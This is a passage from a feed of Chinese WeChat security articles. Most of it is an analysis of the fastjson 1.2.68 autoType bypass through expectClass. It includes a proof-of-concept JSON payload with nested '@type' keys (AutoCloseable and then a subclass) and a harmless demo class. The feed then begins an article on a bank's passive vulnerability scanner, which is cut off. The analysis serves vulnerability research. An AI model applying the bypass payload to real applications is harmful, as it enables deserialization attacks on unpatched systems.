0px;font-size: 16px;" mpa-is-content="t">引言</span></p></section></section></section></section><section style="margin-top: 10px;text-align: left;line-height: 1.5em;margin-bottom: 5px;" mpa-from-tpl="t"><section style="margin-top: 10px;text-align: left;line-height: 1.5em;margin-bottom: 5px;" mpa-from-tpl="t"><section style="margin-top: 10px;text-align: left;line-height: 1.5em;margin-bottom: 5px;" mpa-from-tpl="t"><p style="margin-top: 10px;text-align: left;line-height: 1.5em;margin-bottom: 5px;"><span style="font-size: 14px;">fastjson 68版本前一阵子有些闹得沸沸扬扬的，我这边也一直忙着写字节码扫描器没太用心关注，今天看到fastjson代码已经跟进到71版本了，所以对68和69版本的代码做了一下比对，看了一下修复代码，这里对68版本fastjson的RCE漏洞做一下原理以及利用场景的分析。</span></p><p style="clear: both;min-height: 1em;text-align: left;line-height: 1.75em;"><span style="margin: 0px;padding: 0px;font-size: 13px;background-color: rgb(214, 214, 214);">注：其实最初在5月10号的时候我这边就已经看到了68版本的一种利用方式，基于Throwable子类的利用方式，不过这种方式只是68版本利用方式中的一种。</span></p></section></section></section></section></section></section></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="86516" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="border-bottom: 1px solid rgb(221, 221, 221);margin: 15px auto 10px;"><section style="padding-right: 5px;padding-bottom: 6px;padding-left: 5px;border-bottom: 2px solid rgb(239, 112, 96);display: inline-block;margin-bottom: -1px;line-height: 1.1;font-size: 18px;margin-top: 10px;"><br/></section><section style="padding-right: 5px;padding-bottom: 6px;padding-left: 5px;border-bottom: 2px solid rgb(239, 112, 96);display: inline-block;margin-bottom: -1px;line-height: 1.1;font-size: 18px;margin-top: 10px;"><br/></section><section style="padding-right: 5px;padding-bottom: 6px;padding-left: 5px;border-bottom: 2px solid rgb(239, 112, 96);display: inline-block;margin-bottom: -1px;line-height: 1.1;font-size: 18px;margin-top: 10px;"><span style="font-size: 17px;"><strong>原理</strong></span></section><section style="padding-right: 5px;padding-bottom: 6px;padding-left: 5px;border-bottom: 2px solid rgb(239, 112, 96);display: inline-block;margin-bottom: -1px;line-height: 1.1;font-size: 18px;margin-top: 10px;"><br/></section><section style="padding-right: 5px;padding-bottom: 6px;padding-left: 5px;border-bottom: 2px solid rgb(239, 112, 96);display: inline-block;margin-bottom: -1px;line-height: 1.1;font-size: 18px;margin-top: 10px;"><br/></section></section></section></section><p style="text-align: left;line-height: 1.5em;margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 14px;">fastjson的漏洞跟进的比较多的情况下，可以明白一个基本的套路就是，不管绕过怎么样的风骚，修复代码大部分都在ParserConfig类的checkAutoType里面，所以就话不多说，把68版本和69版本的ParserConfig类做个比较，看到改动还是很少的。</span></p><section style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;"></span><img class="rich_pages js_insertlocalimg" data-ratio="0.24296875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0742f904&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z7GCg7QmUOAcvJkeicTCvmdgGOgm1sVbnsoJ2hwNcMEMt2iaQWLBic5UjBAmwlOTWxMiaBMiaiakBR4Cshw%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 14px;">基本上一看可以看出是和expectClass有关，所以在函数的上上下下看了一下这个变量，可以归并一下发现的信息：</span></section><section style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">1. expectClass不为代码中的那些类的时候可以将expectClassFlag设置为true </span></section><p style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5908141962421712" data-s="300,640" style="" data-type="jpeg" data-w="958" src="https://wechat2rss.xlab.app/img-proxy/?k=2b068f89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z7GCg7QmUOAcvJkeicTCvmdgMnR4cq3yrLSou5vyZgZibnic8xrkgNXJbUCALSQ6EneKzgVtvxkOmU2w%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 14px;">2. 当expectClassFlag为true的时候，即使fastjson的autoype为false我们也能加载期望类的实例。 </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.12519809825673534" data-s="300,640" style="" data-type="jpeg" data-w="1262" src="https://wechat2rss.xlab.app/img-proxy/?k=30f3c42a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z7GCg7QmUOAcvJkeicTCvmdgIpRUh7MSSXibtnwSQZYGDCiagIWl645JowkQDm5SMy4CNw7dRAymPj4g%2F640%3Fwx_fmt%3Djpeg"/></p><section style="text-align: left;margin-top: 5px;margin-bottom: 5px;line-height: 1.5em;"><span style="font-size: 14px;">OK但从上诉两点，我们就可以看到借由expectClass我们是可以绕过fastjson的autotype安全限制的，这个安全通告相符合，代表我们走在正确的方向上。</span></section><section style="text-align: left;margin-top: 5px;margin-bottom: 5px;line-height: 1.5em;"><span style="font-size: 14px;">但是在阅读checkAutoType函数中expectClass的代码的时候，也发现了其中一些会限制Gadget的点：</span></section><section style="text-align: left;margin-top: 5px;margin-bottom: 5px;line-height: 1.5em;"><span style="font-size: 14px;">1. 黑名单检测逻辑是放在loadClass之前的，也就是说我们的Gadget将依旧受到黑名单的限制。（代码太长，我就不贴了）</span></section><section style="text-align: left;margin-top: 5px;margin-bottom: 5px;line-height: 1.5em;"><span style="font-size: 14px;">2. Gadget必须实现了expectClass接口（或是expectClass的子类），才能成功生成Gadget的实例。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.196875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=37b415e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z7GCg7QmUOAcvJkeicTCvmdgzKa1o5Zjq6sgbib3kcL9f36QkiaR5mzXTqfPj561SHDwqZSeBaTHH6icw%2F640%3Fwx_fmt%3Djpeg"/></p><section style="text-align: left;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">上面便是阅读代码得到的关键性信息了，接下来就要思考一下expectClass的问题了，第一个问题，expectClass是从哪里来的，看一下checkAutoType函数：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">java <span class="code-snippet__keyword">public</span> Class&lt;?&gt; checkAutoType(String typeName, Class&lt;?&gt; expectClass, <span class="code-snippet__keyword">int</span> features)</span></code></pre></section><section style="text-align: left;line-height: 1.5em;margin-bottom: 5px;margin-top: 10px;"><span style="font-size: 14px;">很清晰，expectClass就是直接传给checkAutoType函数的，那么接下来我们需要去寻找，究竟哪些地方会给checkAutoType函数传expectClass，全局搜索一下，可以看到场景非常少：<br/></span></section><ol style="text-align: left;margin-top: 5px;margin-bottom: 5px;" class="list-paddingleft-2"><li style="text-align: left;margin-top: 5px;margin-bottom: 5px;font-size: 14px;"><p style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">JavaBeanDeserializer类的deserialze函数</span></p></li><li style="text-align: left;margin-top: 5px;margin-bottom: 5px;font-size: 14px;"><p style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">ThrowableDeserializer类的deserialze函数</span></p></li></ol><p style="text-align: left;line-height: 1.5em;margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 14px;">关于第二种场景，我这边5月10号就到了别的大佬的分析，有兴趣大家可以</span><a href="https://mp.weixin.qq.com/s?__biz=Mzg4OTExMjE2Mw==&amp;mid=2247483796&amp;idx=1&amp;sn=30cd2e26de6f9f0aad97c6c42ba40cee&amp;scene=21#wechat_redirect" target="_blank" style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;color: rgb(65, 131, 196);text-decoration: none;font-family: Optima-Regular, PingFangTC-light;letter-spacing: normal;font-size: 14px;" data-linktype="2"><span style="font-size: 14px;">去看一下</span></a><span style="font-size: 14px;">，我就不再赘述，这里着重讲第一种。（当然其实就原理而言完全是一回事。）</span></p><section style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 10px;"><span style="font-size: 14px;">DefaultJSONParser调用parseObject，用@type生成的clazz实例会紧接着传入JavaBeanDeserializer类的deserialze方法的type参数中，并继续解析json数据，如果json数据中还有@type，则把@type的值作为typeName，type参数作为expectClass传入checkAutoType函数中。</span></section><p style="text-align: left;margin-top: 5px;margin-bottom: 5px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6203125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e180c829&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z7GCg7QmUOAcvJkeicTCvmdgdXxa8GkVBVnwFOhuplnic7nYsA3qFG4ia0s8QpM329B6ADcceXOkibTug%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;margin-top: 5px;margin-bottom: 5px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.19453125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=53813f69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z7GCg7QmUOAcvJkeicTCvmdgXCVPRpdTNX1eno3lH5BhGT28tkYcUvyYJDjwkUjNhwnARqmotuWx8w%2F640%3Fwx_fmt%3Djpeg"/></p><section style="text-align: left;line-height: 1.5em;margin-bottom: 5px;margin-top: 5px;"><span style="font-size: 14px;">那根据我们刚刚分析代码得出的结论，如果typeName刚好为expectClass的子类，那么接下来就能生成typename的对象，从而达成绕过autotype的目的。</span></section><p style="text-align: left;line-height: 1.5em;margin-bottom: 5px;margin-top: 10px;"><span style="font-size: 14px;">但是，这里一定要注意一个特别重要的问题，由于默认autotype是关着的，那么我们又怎么样去用@type来生成传给deserialze的clazz呢，下面我就先给出目前fastjson在autotype关闭的情况下能生成的clazz的范围：</span></p><p style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">1. <strong>cache mapping</strong>:48版本以前fastjson允许用户通过{&#34;@type&#34;:&#34;java.lang.Class&#34;,&#34;val&#34;:&#34;com.evilClass&#34;}的形式向mapping里面添加恶意类，这样不需要依赖autotype可以直接从cahce的mapping里获取clazz，但是48版本已经修复该问题。当然cache mapping在刚fastjson启动的时候就已经放了不少clazz，加载的时候不受autotype限制。</span> </p><p style="text-align: left;margin-top: 5px;margin-bottom: 5px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.56484375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6e4adebd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z7GCg7QmUOAcvJkeicTCvmdgkibPu6LK0QFWmcyBNfiaapYibXkW11FibwKumQ4lroh5pZl5RLXibXddlug%2F640%3Fwx_fmt%3Djpeg"/></p><section style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">2. <strong>白名单</strong>：不赘述，白名单的目的就是不受autotype的限制嘛。不过新版本白名单已经被加密，需要爆破一下。</span></section><section style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">3.<strong> 默认deserializers的buckets（在PaserConfig类的initDeserializers函数中初始化）</strong>：可以把fastjson理解为一个编译器，它在进行初始化的时候也需要加载一些基础类型的对象，这些对象为了组件的正常工作是必须的。</span></section><p style="text-align: left;margin-top: 5px;margin-bottom: 5px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5007874015748032" data-s="300,640" style="" data-type="jpeg" data-w="1270" src="https://wechat2rss.xlab.app/img-proxy/?k=4798cc32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z7GCg7QmUOAcvJkeicTCvmdgCO2O0XbIKSlsW7dWjvaJynsao5hu4wZ5g6xksfJTDDQj3FK7MEbR8Q%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">所以我们需要的clazz就是要从上诉列举的三种情况里面寻找到，与此同时保证它不再黑名单里面。</span></p><p style="text-align: left;line-height: 1.5em;margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 14px;">OK，全部的分析已经到位，我们来汇总一下，看看poc究竟要怎么写：</span></p><p style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">1. 首先要用@type来生成一个clazz（不受autotype影响的）。从而把这个clazz传入deserialze函数的exceptClass中，要保证clazz不能为以下类。（这个是68版本的，69版本又添加了三个。）</span></p><p style="text-align: left;margin-top: 5px;margin-bottom: 5px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5908141962421712" data-s="300,640" style="" data-type="jpeg" data-w="958" src="https://wechat2rss.xlab.app/img-proxy/?k=2b068f89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z7GCg7QmUOAcvJkeicTCvmdgMnR4cq3yrLSou5vyZgZibnic8xrkgNXJbUCALSQ6EneKzgVtvxkOmU2w%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"> <span style="font-size: 14px;">2. 紧跟在生成在第一个@type后面，再跟一个@type，它的value不能是黑名单里面的类，而且必须是第一个clazz的子类。</span></p><p style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">之后便能生成一个不受autotype影响的clazz，以达到利用效果。</span></p><p style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">关于漏洞的复现，为了方便起见，我就直接去拿了69版本被拉黑而68版本没被拉黑的AutoCloseable接口来构造poc了。</span></p><p style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">因为想要利用成功必须保证第二个clazz实现AutoCloseable的接口，恶意类难找，我们只聊原理，我就随便写了一个利用类。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer">java</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> defaultpack;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.alibaba.fastjson.JSON;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.rowset.JdbcRowSetImpl;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.h2.tools.SimpleResultSet;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Person</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">AutoCloseable</span></span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> String name;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">int</span> age;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> String gender;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">Person</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;no-arg construct invoked!!!&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">Person</span><span class="code-snippet__params">(String name, <span class="code-snippet__keyword">int</span> age, String gender)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.name = name;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.age = age;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.gender = gender;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">getName</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> name;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setName</span><span class="code-snippet__params">(String name)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.name = name;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">int</span> <span class="code-snippet__title">getAge</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;getAge invoked!!!&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> age;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setAge</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> age)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.age = age;</span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;setAge invoked!!!&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">getGender</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> gender;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setGender</span><span class="code-snippet__params">(String gender)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.gender = gender;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">close</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> Exception </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><section style="text-align: left;margin-top: 5px;margin-bottom: 5px;line-height: 1.5em;"><span style="font-size: 14px;">利用的poc如下：</span><br/></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="powershell"><code><span class="code-snippet_outer">java</span></code><code><span class="code-snippet_outer">String payload = <span class="code-snippet__string">&#34;{\&#34;</span>@type\<span class="code-snippet__string">&#34;:\&#34;</span>java.lang.AutoCloseable\<span class="code-snippet__string">&#34;,\&#34;</span>@type\<span class="code-snippet__string">&#34;:\&#34;</span>defaultpack.Person\<span class="code-snippet__string">&#34;,\&#34;</span>age\<span class="code-snippet__string">&#34;:\&#34;</span><span class="code-snippet__number">13</span>\<span class="code-snippet__string">&#34;}&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">JSON.parseObject(payload);</span></code></pre></section><section style="text-align: left;margin-bottom: 5px;line-height: 1.5em;margin-top: 5px;"><span style="font-size: 14px;">成功利用的截图如下，可以看到在68版本autype默认为关的情况下，依旧成功调用了Person类的setAGe方法： </span></section><p style="text-align: left;margin-top: 5px;margin-bottom: 5px;"><img class="rich_pages js_insertlocalimg" data-ratio="0.39453125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=239fb165&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z7GCg7QmUOAcvJkeicTCvmdgvIeiciaxsIT76Xevd2Y0hcvsD9k9sFiaTGzds5u3zvwtCeP9iashEm9EzA%2F640%3Fwx_fmt%3Djpeg"/></p><section data-mpa-template="t" mpa-from-tpl="t" style="text-align: left;margin-top: 5px;margin-bottom: 5px;"><section data-id="86516" style="text-align: left;margin-top: 5px;margin-bottom: 5px;" mpa-from-tpl="t"><section style="text-align: left;margin-bottom: 5px;margin-top: 15px;"><section style="padding-right: 5px;padding-bottom: 6px;padding-left: 5px;border-bottom: 2px solid rgb(239, 112, 96);display: inline-block;margin-bottom: -1px;line-height: 1.1;font-size: 18px;margin-top: 10px;"><br/></section><section style="padding-right: 5px;padding-bottom: 6px;padding-left: 5px;border-bottom: 2px solid rgb(239, 112, 96);display: inline-block;margin-bottom: -1px;line-height: 1.1;font-size: 18px;margin-top: 10px;"><strong><span style="font-size: 17px;">利用场景分析</span></strong></section><section style="padding-right: 5px;padding-bottom: 6px;padding-left: 5px;border-bottom: 2px solid rgb(239, 112, 96);display: inline-block;margin-bottom: -1px;line-height: 1.1;font-size: 18px;margin-top: 10px;"><br/></section></section></section></section><p style="text-align: left;line-height: 1.5em;margin-top: 10px;margin-bottom: 5px;"><span style="font-size: 14px;">可以从上面的分析看出，虽然在原理层面上，的确存在着代码执行的风险，且绕过了autotype机制，但是这个利用受到了多方面限制：</span></p><ol style="text-align: left;margin-top: 5px;margin-bottom: 5px;" class="list-paddingleft-2"><li style="text-align: left;margin-top: 5px;margin-bottom: 5px;font-size: 14px;"><section style="text-align: left;line-height: 1.5em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 14px;">黑名单限制</span></section></li><li style="text-align: left;margin-top: 5px;margin-bottom: 5px;font-size: 14px;"><p style="text-align: left;line-height: 1.5em;margin-bottom: 5px;margin-top: 5px;"><span style="font-size: 14px;">漏洞利用类必须拥有一个在autotype关着的情况下可以生成实例的父类（目前在68版本我已知的是Throwable和AutoCloseable）。</span></p></li></ol><p style="text-align: left;line-height: 1.5em;margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 14px;">所以因为以上两点的限制，就可以发现利用是非常局限的，当然也不排除黑客大佬们思路广阔而笔者才疏学浅的可能性，因此我也仅在这里给出自己的看法。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1" data-s="300,640" style="width: 181px;height: 181px;" data-type="png" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=273635d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6mekWciaxxbS18R8SS05YW8zsGBbWkKpkZdZczug4j9jRKibfNGBBeLhWIC9tDThjoga1Eje4pkRwQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;line-height: 1.5em;margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 14px;"></span><br/></p>



<p><a href="2247484063">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=49b4aa97&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247484063%26idx%3D1%26sn%3D00fcc00a70de96e81230cc062588e634%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 17 Jun 2020 10:11:00 +0800</pubDate>
    </item>
    <item>
      <title>被动式漏洞扫描平台建设之路</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483950&amp;idx=1&amp;sn=65a355d82a4a12f82ecc67882464add7</link>
      <description>传统的主动web扫描器面对大型企业成千上万站点的扫描需求时越来越显得捉襟见肘，被动扫描成为各个大厂扫描器的自研之路方向。为实现全行应用上线的自动化安全扫描，平安银行应用安全团队内部研发了命名为“ Hydra”的被动扫描平台。</description>
      <content:encoded><![CDATA[<p>
原创 <span>平安银行应用安全</span> <span>2020-05-13 14:15</span> <span style="display: inline-block;"></span>
</p>

<p>传统的主动web扫描器面对大型企业成千上万站点的扫描需求时越来越显得捉襟见肘，被动扫描成为各个大厂扫描器的自研之路方向。为实现全行应用上线的自动化安全扫描，平安银行应用安全团队内部研发了命名为“ Hydra”的被动扫描平台。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fa6641d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z5pgf5XwNwByIYTaPvuIWgd4xzqiaPc4waMTISDYQ6yjxL46ViaUKJppugByLCmdUNweFYbPiblQct9Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="display: none;" data-tools="新媒体管家" data-label="powered by xmt.cn"><br/></section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;"><span style="color: rgb(255, 169, 0);font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace;font-size: 20px;font-weight: 700;"><em style="color: rgb(74, 74, 74);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;text-align: start;white-space: pre-line;"><span style="box-sizing: border-box;font-size: 12px;">Author:平安银行应用安全团队 - 王小林</span></em></span></section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;"><span style="color: rgb(255, 169, 0);font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace;font-size: 20px;font-weight: 700;">0x00.前言</span><br/></section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">业务上线之前，通常需要进行一系列的安全扫描及工具检查，随着敏捷开发流程的推进，版本迭代的周期越来越短，传统的主动web扫描器（包括开源的、商用扫描器等）基于站点维度，扫描时进行大量的链接爬取，无法覆盖接口、孤岛链接，也无法深度融入内部研发流程，以及会有扫描配合成本耗费巨大等问题，这使得主动web扫描器在面对大型企业成千上万站点的扫描需求时越来越显得捉襟见肘。相对于传统的主动扫描，被动扫描则刚好弥补了这些缺点，各个大厂也纷纷走上了扫描器的自研之路。</section><section style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;font-family: Optima-Regular, PingFangTC-light;">为解决上述的需求，实现全行应用上线的自动化安全扫描，我们团队内部也研发了命名为 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Hydra</span></code>的被动扫描平台，在此也把我们的实践经历做一个分享。</section><hr style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1.5rem;border-style: dashed none none;border-top-color: rgb(165, 165, 165);border-right-width: initial;border-right-color: initial;border-left-width: initial;border-left-color: initial;border-bottom-width: initial;border-bottom-color: initial;height: 1px;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: 